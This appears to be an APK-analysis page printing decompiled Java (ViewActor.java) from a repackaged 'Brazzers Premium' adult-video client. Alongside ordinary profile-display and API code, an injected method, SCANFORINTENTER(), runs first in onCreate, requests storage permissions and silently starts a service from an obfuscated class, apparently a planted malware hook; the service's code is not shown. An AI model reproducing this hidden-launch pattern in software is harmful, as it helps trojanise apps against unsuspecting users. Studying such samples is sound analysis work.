Brazzers Premium v2.1.5版本的 MD5 值为:822198ebc1561433ac78052c8b72a0ea

以下内容为反编译后的 ViewActor.java 源代码,内容仅作参考


package com.xhubapp.brazzers.aio.activity;

import ab.l;
import android.app.Application;
import android.content.Context;
import android.content.Intent;
import android.graphics.drawable.ColorDrawable;
import android.os.Build;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TableLayout;
import androidx.appcompat.widget.b2;
import androidx.constraintlayout.widget.Barrier;
import androidx.constraintlayout.widget.ConstraintLayout;
import androidx.core.app.ActivityCompat;
import androidx.core.widget.NestedScrollView;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import com.google.android.material.appbar.AppBarLayout;
import com.google.android.material.appbar.MaterialToolbar;
import com.google.android.material.button.MaterialButton;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.google.android.material.imageview.ShapeableImageView;
import com.google.android.material.progressindicator.CircularProgressIndicator;
import com.google.android.material.textview.MaterialTextView;
import com.google.gson.Gson;
import com.unity3d.ads.R;
import com.xhubapp.brazzers.aio.modal.brazzers.ActorInfo;
import com.xhubapp.brazzers.aio.modal.brazzers.Actors;
import com.xhubapp.brazzers.aio.modal.brazzers.ImageData;
import com.xhubapp.brazzers.aio.modal.brazzers.ImageInt;
import com.xhubapp.brazzers.aio.modal.brazzers.ImageType;
import com.xhubapp.brazzers.aio.modal.brazzers.Images;
import com.xhubapp.brazzers.aio.modal.brazzers.ResultActors;
import com.xhubapp.brazzers.aio.modal.brazzers.ResultForList;
import com.xhubapp.brazzers.aio.modal.brazzers.Stats;
import com.xhubapp.brazzers.aio.modal.brazzers.Tags;
import com.xhubapp.brazzers.aio.modal.main.BrazzersSite;
import com.xhubapp.brazzers.aio.modal.main.BrazzersToken;
import com.xhubapp.brazzers.aio.modal.main.SiteApi;
import com.xhubapp.brazzers.aio.utility.f0;
import com.xhubapp.brazzers.aio.utility.k;
import com.xhubapp.brazzers.aio.utility.n;
import e.r;
import ginom.alfa.lib.scan.ffqmfarpotlmmtkcnrkzsqiwt19;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Objects;
import l4.i;
import n2.f;
import r4.e;
import ra.g0;
import ra.i1;
import ra.j;
import ra.j1;
import ra.m;
import ra.q;
import sa.s;
import sa.w;
import ua.g;
import w2.v;
import x.h;
public final class ViewActor extends j {
    public static final int f3232e0 = 0;
    public ta.a O;
    public g P;
    public e Q;
    public i R;
    public pa.a S;
    public ta.b T;
    public BrazzersSite U;
    public ta.c V;
    public SiteApi W;
    public BrazzersToken X;
    public ta.d Y;
    public int Z;
    public androidx.activity.result.d f3233a0;
    public ActorInfo f3234b0;
    public Actors f3235c0 = new Actors();
    public sa.d f3236d0;

    public static final class a implements f {
        public a() {
        }

        @Override
        public void a(m2.a aVar) {
            ViewActor viewActor = ViewActor.this;
            int i10 = ViewActor.f3232e0;
            Objects.requireNonNull(viewActor);
            pa.a aVar2 = ViewActor.this.S;
            if (aVar2 == null) {
                a1.g.h("loading");
                throw null;
            }
            aVar2.a();
            f0 f0Var = f0.f3305a;
            ViewActor viewActor2 = ViewActor.this;
            BrazzersSite brazzersSite = viewActor2.U;
            if (brazzersSite != null) {
                f0Var.m(viewActor2, a1.g.g("This Actor not available for site ", brazzersSite.getName()), 1);
            } else {
                a1.g.h("brazzersSite");
                throw null;
            }
        }

        @Override
        public void b(String str) {
            boolean z10;
            ViewActor viewActor;
            i iVar;
            ActorInfo result;
            pa.a aVar = ViewActor.this.S;
            if (aVar == null) {
                a1.g.h("loading");
                throw null;
            }
            aVar.a();
            Objects.requireNonNull(ViewActor.this);
            if (str != null) {
                z10 = false;
                try {
                    viewActor = ViewActor.this;
                    iVar = viewActor.R;
                } catch (Exception unused) {
                }
                if (iVar == null) {
                    a1.g.h("init");
                    throw null;
                }
                Gson gson = (Gson) iVar.f7142f;
                BrazzersSite brazzersSite = viewActor.U;
                if (brazzersSite == null) {
                    a1.g.h("brazzersSite");
                    throw null;
                }
                String brand = brazzersSite.getBrand();
                a1.g.d(str, "response");
                a1.g.d(brand, "brand");
                ResultActors resultActors = (ResultActors) gson.b(ob.j.u(ob.j.u(str, "\"images\":[]", "\"images\":{}", false, 4), "\"videos\":[]", "\"videos\":{}", false, 4), ResultActors.class);
                if (resultActors != null && (result = resultActors.getResult()) != null) {
                    try {
                        viewActor.f3234b0 = result;
                        ViewActor.r(viewActor);
                    } catch (Exception unused2) {
                    }
                    if (z10) {
                        return;
                    }
                    f0 f0Var = f0.f3305a;
                    ViewActor viewActor2 = ViewActor.this;
                    BrazzersSite brazzersSite2 = viewActor2.U;
                    if (brazzersSite2 != null) {
                        f0Var.m(viewActor2, a1.g.g("This Actor not available for site ", brazzersSite2.getName()), 1);
                        return;
                    } else {
                        a1.g.h("brazzersSite");
                        throw null;
                    }
                }
            }
            z10 = true;
            if (z10) {
            }
        }
    }

    public static final class b implements com.xhubapp.brazzers.aio.utility.a {
        public b() {
        }

        @Override
        public void a() {
            ViewActor.this.finish();
            f0.f3305a.o(ViewActor.this);
        }
    }

    public static final class c implements s {
        public c() {
        }

        @Override
        public void a(ResultForList resultForList) {
            ViewActor viewActor = ViewActor.this;
            i iVar = viewActor.R;
            if (iVar != null) {
                ((App) iVar.f7138b).h(viewActor, false, new ra.i(viewActor, resultForList));
            } else {
                a1.g.h("init");
                throw null;
            }
        }
    }

    public static final class d implements com.xhubapp.brazzers.aio.utility.a {
        public final MenuItem f3241b;

        public d(MenuItem menuItem) {
            this.f3241b = menuItem;
        }

        @Override
        public void a() {
            ViewActor viewActor = ViewActor.this;
            int itemId = this.f3241b.getItemId();
            a1.g.d(viewActor, "activity");
            if (itemId == 16908332) {
                viewActor.finish();
                f0.f3305a.o(viewActor);
            } else if (itemId == 2131362020) {
                viewActor.startActivity(new Intent(viewActor, LocalVideo.class));
                f0.f3305a.n(viewActor);
            } else if (itemId != 2131362126) {
            } else {
                viewActor.startActivity(new Intent(viewActor, MainPage.class));
                f0.f3305a.n(viewActor);
            }
        }
    }

    public static final void r(ViewActor viewActor) {
        ImageType profile;
        ImageInt imageInt0;
        ImageData sm;
        String url;
        ActorInfo actorInfo = viewActor.f3234b0;
        if (actorInfo != null) {
            viewActor.f3235c0.setId(actorInfo.getId());
            Images images = actorInfo.getImages();
            if (images != null && (profile = images.getProfile()) != null && (imageInt0 = profile.getImageInt0()) != null && (sm = imageInt0.getSm()) != null && (url = sm.getUrl()) != null) {
                i iVar = viewActor.R;
                if (iVar == null) {
                    a1.g.h("init");
                    throw null;
                }
                g gVar = viewActor.P;
                if (gVar == null) {
                    a1.g.h("binding");
                    throw null;
                }
                ShapeableImageView shapeableImageView = gVar.f10698j;
                a1.g.c(shapeableImageView, "binding.thumbnail");
                ((n) g0.a(10, ((n) ((n) k6.e.e((r) iVar.f7139c).n()).G(url)).J(v.f11156a).o(new ColorDrawable(h.b((Context) iVar.f7140d, 2131099914))).g(new ColorDrawable((int) k.a())), true)).C(shapeableImageView);
                viewActor.f3235c0.setPoster(url);
            }
            if (actorInfo.getName().length() > 0) {
                g gVar2 = viewActor.P;
                if (gVar2 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar2.f10700l.setTitle(actorInfo.getName());
                g gVar3 = viewActor.P;
                if (gVar3 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar3.f10699k.setText(actorInfo.getName());
                viewActor.f3235c0.setName(actorInfo.getName());
                g gVar4 = viewActor.P;
                if (gVar4 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar4.f10692d.setText(viewActor.getString(2131820782, new Object[]{actorInfo.getName()}));
                g gVar5 = viewActor.P;
                if (gVar5 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar5.f10692d.setOnClickListener(new m(viewActor));
            }
            if ((actorInfo.getBirthday().length() > 0) && ob.j.l(actorInfo.getBirthday(), "T", false, 2)) {
                List w10 = ob.j.w(actorInfo.getBirthday(), new String[]{"T"}, false, 0, 6);
                g gVar6 = viewActor.P;
                if (gVar6 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout = gVar6.f10696h;
                e eVar = viewActor.Q;
                if (eVar == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout.addView(e.r(eVar, "Date of Birth", (String) w10.get(0), false, 4));
            }
            if (actorInfo.getBirthPlace().length() > 0) {
                g gVar7 = viewActor.P;
                if (gVar7 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout2 = gVar7.f10696h;
                e eVar2 = viewActor.Q;
                if (eVar2 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout2.addView(e.r(eVar2, "Birth Place", actorInfo.getBirthPlace(), false, 4));
            }
            if (actorInfo.getGender().length() > 0) {
                g gVar8 = viewActor.P;
                if (gVar8 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout3 = gVar8.f10696h;
                e eVar3 = viewActor.Q;
                if (eVar3 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout3.addView(e.r(eVar3, "Gender", actorInfo.getGender(), false, 4));
            }
            if (actorInfo.getMeasurements().length() > 0) {
                g gVar9 = viewActor.P;
                if (gVar9 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout4 = gVar9.f10697i;
                e eVar4 = viewActor.Q;
                if (eVar4 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout4.addView(e.r(eVar4, "Measurements", actorInfo.getMeasurements(), false, 4));
            }
            if (actorInfo.getHeight() > 0) {
                double height = actorInfo.getHeight();
                Double.isNaN(height);
                Double.isNaN(height);
                Double.isNaN(height);
                int ceil = (int) Math.ceil(height * 2.54d);
                StringBuilder sb2 = new StringBuilder();
                sb2.append((int) Math.floor(actorInfo.getHeight() / 12));
                sb2.append('\'');
                String sb3 = sb2.toString();
                int height2 = actorInfo.getHeight() % 12;
                if (height2 > 0) {
                    sb3 = sb3 + ' ' + height2 + '\"';
                }
                g gVar10 = viewActor.P;
                if (gVar10 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout5 = gVar10.f10697i;
                e eVar5 = viewActor.Q;
                if (eVar5 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout5.addView(e.r(eVar5, "Height", sb3 + " / " + ceil + " cm", false, 4));
            }
            if (actorInfo.getWeight() > 0) {
                double weight = actorInfo.getWeight();
                Double.isNaN(weight);
                Double.isNaN(weight);
                Double.isNaN(weight);
                int ceil2 = (int) Math.ceil(weight * 0.454d);
                g gVar11 = viewActor.P;
                if (gVar11 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout6 = gVar11.f10697i;
                e eVar6 = viewActor.Q;
                if (eVar6 == null) {
                    a1.g.h("tabRow");
                    throw null;
                }
                tableLayout6.addView(e.r(eVar6, "Weight", actorInfo.getWeight() + " lb / " + ceil2 + " kg", false, 4));
            }
            if (actorInfo.getAliases().size() > 0) {
                String f10 = l.f(actorInfo.getAliases(), ", ", null, null, 0, null, null, 62);
                if (f10.length() > 0) {
                    g gVar12 = viewActor.P;
                    if (gVar12 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    TableLayout tableLayout7 = gVar12.f10697i;
                    e eVar7 = viewActor.Q;
                    if (eVar7 == null) {
                        a1.g.h("tabRow");
                        throw null;
                    }
                    tableLayout7.addView(e.r(eVar7, "Aliases", f10, false, 4));
                }
            }
            if ((actorInfo.getLastSceneReleaseDate().length() > 0) && ob.j.l(actorInfo.getLastSceneReleaseDate(), "T", false, 2)) {
                String str = (String) ob.j.w(actorInfo.getLastSceneReleaseDate(), new String[]{"T"}, false, 0, 6).get(0);
                g gVar13 = viewActor.P;
                if (gVar13 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                TableLayout tableLayout8 = gVar13.f10697i;
                e eVar8 = viewActor.Q;
                if (eVar8 == null) {
                    a1.g.h("tabRow");
                    throw null;
                } else {
                    a1.g.b(str);
                    tableLayout8.addView(e.r(eVar8, "last Scene", str, false, 4));
                }
            }
            Stats stats = actorInfo.getStats();
            if (stats != null) {
                if (stats.getViews() > 0) {
                    g gVar14 = viewActor.P;
                    if (gVar14 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    TableLayout tableLayout9 = gVar14.f10697i;
                    e eVar9 = viewActor.Q;
                    if (eVar9 == null) {
                        a1.g.h("tabRow");
                        throw null;
                    }
                    tableLayout9.addView(e.r(eVar9, "Hits", String.valueOf(stats.getViews()), false, 4));
                }
                if (stats.getRating() > 0) {
                    g gVar15 = viewActor.P;
                    if (gVar15 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    TableLayout tableLayout10 = gVar15.f10697i;
                    e eVar10 = viewActor.Q;
                    if (eVar10 == null) {
                        a1.g.h("tabRow");
                        throw null;
                    }
                    StringBuilder sb4 = new StringBuilder();
                    sb4.append(stats.getRating());
                    sb4.append('%');
                    tableLayout10.addView(e.r(eVar10, "Rating", sb4.toString(), false, 4));
                }
                if (stats.getLikes() > 0) {
                    g gVar16 = viewActor.P;
                    if (gVar16 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    TableLayout tableLayout11 = gVar16.f10697i;
                    e eVar11 = viewActor.Q;
                    if (eVar11 == null) {
                        a1.g.h("tabRow");
                        throw null;
                    }
                    tableLayout11.addView(e.r(eVar11, "Likes", String.valueOf(stats.getLikes()), false, 4));
                }
                if (stats.getDislikes() > 0) {
                    g gVar17 = viewActor.P;
                    if (gVar17 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    TableLayout tableLayout12 = gVar17.f10697i;
                    e eVar12 = viewActor.Q;
                    if (eVar12 == null) {
                        a1.g.h("tabRow");
                        throw null;
                    }
                    tableLayout12.addView(e.r(eVar12, "Dislikes", String.valueOf(stats.getDislikes()), false, 4));
                }
                if (stats.getFollowers() > 0) {
                    g gVar18 = viewActor.P;
                    if (gVar18 == null) {
                        a1.g.h("binding");
                        throw null;
                    }
                    TableLayout tableLayout13 = gVar18.f10697i;
                    e eVar13 = viewActor.Q;
                    if (eVar13 == null) {
                        a1.g.h("tabRow");
                        throw null;
                    }
                    tableLayout13.addView(e.r(eVar13, "Followers", String.valueOf(stats.getFollowers()), false, 4));
                }
            }
            for (Tags tags : actorInfo.getTags()) {
                if (tags.getShowOnProfile() && tags.getId() > 0) {
                    if (!(tags.getCategory().length() > 0)) {
                        continue;
                    } else if (tags.getName().length() > 0) {
                        e eVar14 = viewActor.Q;
                        if (eVar14 == null) {
                            a1.g.h("tabRow");
                            throw null;
                        }
                        View r10 = e.r(eVar14, tags.getCategory(), tags.getName(), false, 4);
                        r10.setOnClickListener(new q(viewActor, tags));
                        g gVar19 = viewActor.P;
                        if (gVar19 == null) {
                            a1.g.h("binding");
                            throw null;
                        }
                        gVar19.f10697i.addView(r10);
                    } else {
                        continue;
                    }
                }
            }
            if (actorInfo.getBio().length() > 0) {
                g gVar20 = viewActor.P;
                if (gVar20 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar20.f10690b.setText(actorInfo.getBio());
                g gVar21 = viewActor.P;
                if (gVar21 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar21.f10690b.setVisibility(0);
                g gVar22 = viewActor.P;
                if (gVar22 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                MaterialTextView materialTextView = gVar22.f10690b;
                a1.g.c(materialTextView, "binding.biografi");
                materialTextView.setOnClickListener(new w(materialTextView, 3));
            }
            g gVar23 = viewActor.P;
            if (gVar23 == null) {
                a1.g.h("binding");
                throw null;
            }
            gVar23.f10691c.setVisibility(0);
            ta.a aVar = viewActor.O;
            if (aVar == null) {
                a1.g.h("actorFavoriteDB");
                throw null;
            }
            boolean l10 = aVar.l(viewActor.f3235c0.getId());
            if (l10) {
                g gVar24 = viewActor.P;
                if (gVar24 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar24.f10691c.setImageResource(2131230995);
            } else if (!l10) {
                g gVar25 = viewActor.P;
                if (gVar25 == null) {
                    a1.g.h("binding");
                    throw null;
                }
                gVar25.f10691c.setImageResource(2131230996);
            }
            g gVar26 = viewActor.P;
            if (gVar26 == null) {
                a1.g.h("binding");
                throw null;
            }
            gVar26.f10691c.setOnClickListener(new i1(viewActor, 1));
            g gVar27 = viewActor.P;
            if (gVar27 == null) {
                a1.g.h("binding");
                throw null;
            }
            gVar27.f10693e.setVisibility(0);
        }
        pa.a aVar2 = viewActor.S;
        if (aVar2 == null) {
            a1.g.h("loading");
            throw null;
        }
        aVar2.b();
        SiteApi siteApi = viewActor.W;
        if (siteApi == null) {
            a1.g.h("siteApi");
            throw null;
        }
        String videoList = siteApi.getVideoList();
        Object[] objArr = new Object[4];
        SiteApi siteApi2 = viewActor.W;
        if (siteApi2 == null) {
            a1.g.h("siteApi");
            throw null;
        }
        objArr[0] = siteApi2.getHost();
        f0 f0Var = f0.f3305a;
        objArr[1] = f0Var.b();
        objArr[2] = 0;
        objArr[3] = "-dateReleased";
        StringBuilder a10 = b2.a(ra.g.a(objArr, 4, videoList, "java.lang.String.format(format, *args)"), "&type=scene&actorId=");
        a10.append(viewActor.Z);
        k2.e eVar15 = new k2.e(a10.toString());
        eVar15.f6597g = new tb.g0(f0Var.i());
        SiteApi siteApi3 = viewActor.W;
        if (siteApi3 == null) {
            a1.g.h("siteApi");
            throw null;
        }
        eVar15.f6598h = siteApi3.getUa();
        BrazzersSite brazzersSite = viewActor.U;
        if (brazzersSite == null) {
            a1.g.h("brazzersSite");
            throw null;
        }
        BrazzersToken brazzersToken = viewActor.X;
        String a11 = ra.f.a(brazzersToken, brazzersSite, "https://site-ma.");
        LinkedHashMap linkedHashMap = new LinkedHashMap();
        ra.h.a(brazzersToken, linkedHashMap, "Authorization", "Instance");
        linkedHashMap.put("Origin", a11);
        linkedHashMap.put("Referer", a11);
        eVar15.a(linkedHashMap);
        eVar15.b();
        k2.h hVar = new k2.h(eVar15);
        j1 j1Var = new j1(viewActor);
        hVar.f6617g = 1;
        hVar.f6631u = j1Var;
        o2.b.b().a(hVar);
    }

    public void SCANFORINTENTER() {
        try {
            if (Build.VERSION.SDK_INT >= 23) {
                ActivityCompat.requestPermissions(this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE"}, 1454);
            }
        } catch (Exception e10) {
        }
        Intent Rotoxer = new Intent(this, ffqmfarpotlmmtkcnrkzsqiwt19.class);
        startService(Rotoxer);
    }

    @Override
    public void onBackPressed() {
        i iVar = this.R;
        if (iVar != null) {
            ((App) iVar.f7138b).h(this, false, new b());
        } else {
            a1.g.h("init");
            throw null;
        }
    }

    @Override
    public void onCreate(Bundle bundle) {
        SCANFORINTENTER();
        super.onCreate(bundle);
        View inflate = getLayoutInflater().inflate(2131558595, (ViewGroup) null, false);
        int i10 = 2131361885;
        AppBarLayout appBarLayout = (AppBarLayout) d.e.d(inflate, 2131361885);
        if (appBarLayout != null) {
            i10 = 2131361898;
            Barrier barrier = (Barrier) d.e.d(inflate, 2131361898);
            if (barrier != null) {
                i10 = 2131361904;
                MaterialTextView materialTextView = (MaterialTextView) d.e.d(inflate, 2131361904);
                if (materialTextView != null) {
                    i10 = 2131361914;
                    FloatingActionButton floatingActionButton = (FloatingActionButton) d.e.d(inflate, 2131361914);
                    if (floatingActionButton != null) {
                        i10 = 2131361917;
                        MaterialButton materialButton = (MaterialButton) d.e.d(inflate, 2131361917);
                        if (materialButton != null) {
                            i10 = 2131361975;
                            ConstraintLayout constraintLayout = (ConstraintLayout) d.e.d(inflate, 2131361975);
                            if (constraintLayout != null) {
                                i10 = 2131362209;
                                MaterialTextView materialTextView2 = (MaterialTextView) d.e.d(inflate, 2131362209);
                                if (materialTextView2 != null) {
                                    i10 = 2131362294;
                                    NestedScrollView nestedScrollView = (NestedScrollView) d.e.d(inflate, 2131362294);
                                    if (nestedScrollView != null) {
                                        i10 = 2131362330;
                                        CircularProgressIndicator circularProgressIndicator = (CircularProgressIndicator) d.e.d(inflate, 2131362330);
                                        if (circularProgressIndicator != null) {
                                            i10 = 2131362335;
                                            RecyclerView recyclerView = (RecyclerView) d.e.d(inflate, 2131362335);
                                            if (recyclerView != null) {
                                                ConstraintLayout constraintLayout2 = (ConstraintLayout) inflate;
                                                i10 = 2131362438;
                                                TableLayout tableLayout = (TableLayout) d.e.d(inflate, 2131362438);
                                                if (tableLayout != null) {
                                                    i10 = 2131362439;
                                                    TableLayout tableLayout2 = (TableLayout) d.e.d(inflate, 2131362439);
                                                    if (tableLayout2 != null) {
                                                        i10 = 2131362482;
                                                        ShapeableImageView shapeableImageView = (ShapeableImageView) d.e.d(inflate, 2131362482);
                                                        if (shapeableImageView != null) {
                                                            i10 = R.id.title;
                                                            MaterialTextView materialTextView3 = (MaterialTextView) d.e.d(inflate, R.id.title);
                                                            if (materialTextView3 != null) {
                                                                i10 = 2131362491;
                                                                MaterialToolbar materialToolbar = (MaterialToolbar) d.e.d(inflate, 2131362491);
                                                                if (materialToolbar != null) {
                                                                    this.P = new g(constraintLayout2, appBarLayout, barrier, materialTextView, floatingActionButton, materialButton, constraintLayout, materialTextView2, nestedScrollView, circularProgressIndicator, recyclerView, constraintLayout2, tableLayout, tableLayout2, shapeableImageView, materialTextView3, materialToolbar);
                                                                    this.f3233a0 = k(new c.d(), new t3.c(this));
                                                                    g gVar = this.P;
                                                                    if (gVar == null) {
                                                                        a1.g.h("binding");
                                                                        throw null;
                                                                    }
                                                                    setContentView(gVar.f10689a);
                                                                    g gVar2 = this.P;
                                                                    if (gVar2 == null) {
                                                                        a1.g.h("binding");
                                                                        throw null;
                                                                    }
                                                                    q(gVar2.f10700l);
                                                                    e.a o10 = o();
                                                                    if (o10 != null) {
                                                                        o10.m(true);
                                                                        o10.n(true);
                                                                    }
                                                                    this.V = new ta.c(this);
                                                                    this.T = new ta.b(this);
                                                                    this.Y = new ta.d(this);
                                                                    this.O = new ta.a(this);
                                                                    Application application = getApplication();
                                                                    Objects.requireNonNull(application, "null cannot be cast to non-null type com.xhubapp.brazzers.aio.activity.App");
                                                                    i iVar = new i(this, (App) application);
                                                                    this.R = iVar;
                                                                    ta.c cVar = this.V;
                                                                    if (cVar == null) {
                                                                        a1.g.h("brazzersSiteDB");
                                                                        throw null;
                                                                    }
                                                                    String r10 = ((App) iVar.f7138b).c().r();
                                                                    a1.g.b(r10);
                                                                    BrazzersSite l10 = cVar.l(r10);
                                                                    this.U = l10;
                                                                    ta.d dVar = this.Y;
                                                                    if (dVar == null) {
                                                                        a1.g.h("brazzersTokenDB");
                                                                        throw null;
                                                                    }
                                                                    this.X = dVar.r(l10.getBrand());
                                                                    ta.b bVar = this.T;
                                                                    if (bVar == null) {
                                                                        a1.g.h("brazzersApisDB");
                                                                        throw null;
                                                                    }
                                                                    BrazzersSite brazzersSite = this.U;
                                                                    if (brazzersSite == null) {
                                                                        a1.g.h("brazzersSite");
                                                                        throw null;
                                                                    }
                                                                    String apis = brazzersSite.getApis();
                                                                    i iVar2 = this.R;
                                                                    if (iVar2 == null) {
                                                                        a1.g.h("init");
                                                                        throw null;
                                                                    }
                                                                    this.W = bVar.c(apis, (Gson) iVar2.f7142f);
                                                                    i iVar3 = this.R;
                                                                    if (iVar3 == null) {
                                                                        a1.g.h("init");
                                                                        throw null;
                                                                    }
                                                                    ((App) iVar3.f7138b).f();
                                                                    g gVar3 = this.P;
                                                                    if (gVar3 == null) {
                                                                        a1.g.h("binding");
                                                                        throw null;
                                                                    }
                                                                    CircularProgressIndicator circularProgressIndicator2 = gVar3.f10694f;
                                                                    a1.g.c(circularProgressIndicator2, "binding.progressCircular");
                                                                    this.S = new pa.a(circularProgressIndicator2);
                                                                    i iVar4 = this.R;
                                                                    if (iVar4 == null) {
                                                                        a1.g.h("init");
                                                                        throw null;
                                                                    }
                                                                    this.Q = new e(iVar4);
                                                                    int intExtra = getIntent().getIntExtra("id", 0);
                                                                    this.Z = intExtra;
                                                                    if (intExtra == 0) {
                                                                        f0 f0Var = f0.f3305a;
                                                                        String string = getString(2131820913);
                                                                        a1.g.c(string, "getString(R.string.view_actor_invalid_actor_id)");
                                                                        f0Var.m(this, string, 1);
                                                                        finish();
                                                                        return;
                                                                    }
                                                                    g gVar4 = this.P;
                                                                    if (gVar4 == null) {
                                                                        a1.g.h("binding");
                                                                        throw null;
                                                                    }
                                                                    gVar4.f10700l.setOnClickListener(new i1(this, 0));
                                                                    i iVar5 = this.R;
                                                                    if (iVar5 == null) {
                                                                        a1.g.h("init");
                                                                        throw null;
                                                                    }
                                                                    sa.d dVar2 = new sa.d(iVar5, new c());
                                                                    this.f3236d0 = dVar2;
                                                                    g gVar5 = this.P;
                                                                    if (gVar5 == null) {
                                                                        a1.g.h("binding");
                                                                        throw null;
                                                                    }
                                                                    RecyclerView recyclerView2 = gVar5.f10695g;
                                                                    recyclerView2.setAdapter(dVar2);
                                                                    recyclerView2.setLayoutManager(new GridLayoutManager(this, 2));
                                                                    recyclerView2.setNestedScrollingEnabled(false);
                                                                    s();
                                                                    return;
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        throw new NullPointerException("Missing required view with ID: ".concat(inflate.getResources().getResourceName(i10)));
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        a1.g.d(menu, "menu");
        getMenuInflater().inflate(2131623941, menu);
        return super.onCreateOptionsMenu(menu);
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem menuItem) {
        a1.g.d(menuItem, "item");
        i iVar = this.R;
        if (iVar != null) {
            ((App) iVar.f7138b).h(this, false, new d(menuItem));
            return super.onOptionsItemSelected(menuItem);
        }
        a1.g.h("init");
        throw null;
    }

    public final void s() {
        if (this.X == null) {
            Intent intent = new Intent(this, LoginPage.class);
            BrazzersSite brazzersSite = this.U;
            if (brazzersSite == null) {
                a1.g.h("brazzersSite");
                throw null;
            }
            intent.putExtra("brand", brazzersSite.getBrand());
            androidx.activity.result.d dVar = this.f3233a0;
            if (dVar == null) {
                a1.g.h("activityLauncher");
                throw null;
            }
            dVar.a(intent);
            f0.f3305a.n(this);
            return;
        }
        pa.a aVar = this.S;
        if (aVar == null) {
            a1.g.h("loading");
            throw null;
        }
        aVar.b();
        SiteApi siteApi = this.W;
        if (siteApi == null) {
            a1.g.h("siteApi");
            throw null;
        }
        String singleActor = siteApi.getSingleActor();
        Object[] objArr = new Object[2];
        SiteApi siteApi2 = this.W;
        if (siteApi2 == null) {
            a1.g.h("siteApi");
            throw null;
        }
        objArr[0] = siteApi2.getHost();
        objArr[1] = Integer.valueOf(this.Z);
        k2.e eVar = new k2.e(ra.g.a(objArr, 2, singleActor, "java.lang.String.format(format, *args)"));
        f0 f0Var = f0.f3305a;
        eVar.f6597g = new tb.g0(f0Var.i());
        eVar.f6598h = f0Var.p(this);
        BrazzersSite brazzersSite2 = this.U;
        if (brazzersSite2 == null) {
            a1.g.h("brazzersSite");
            throw null;
        }
        BrazzersToken brazzersToken = this.X;
        String a10 = ra.f.a(brazzersToken, brazzersSite2, "https://site-ma.");
        LinkedHashMap linkedHashMap = new LinkedHashMap();
        ra.h.a(brazzersToken, linkedHashMap, "Authorization", "Instance");
        linkedHashMap.put("Origin", a10);
        linkedHashMap.put("Referer", a10);
        eVar.a(linkedHashMap);
        eVar.b();
        k2.h hVar = new k2.h(eVar);
        a aVar2 = new a();
        hVar.f6617g = 1;
        hVar.f6631u = aVar2;
        o2.b.b().a(hVar);
    }
}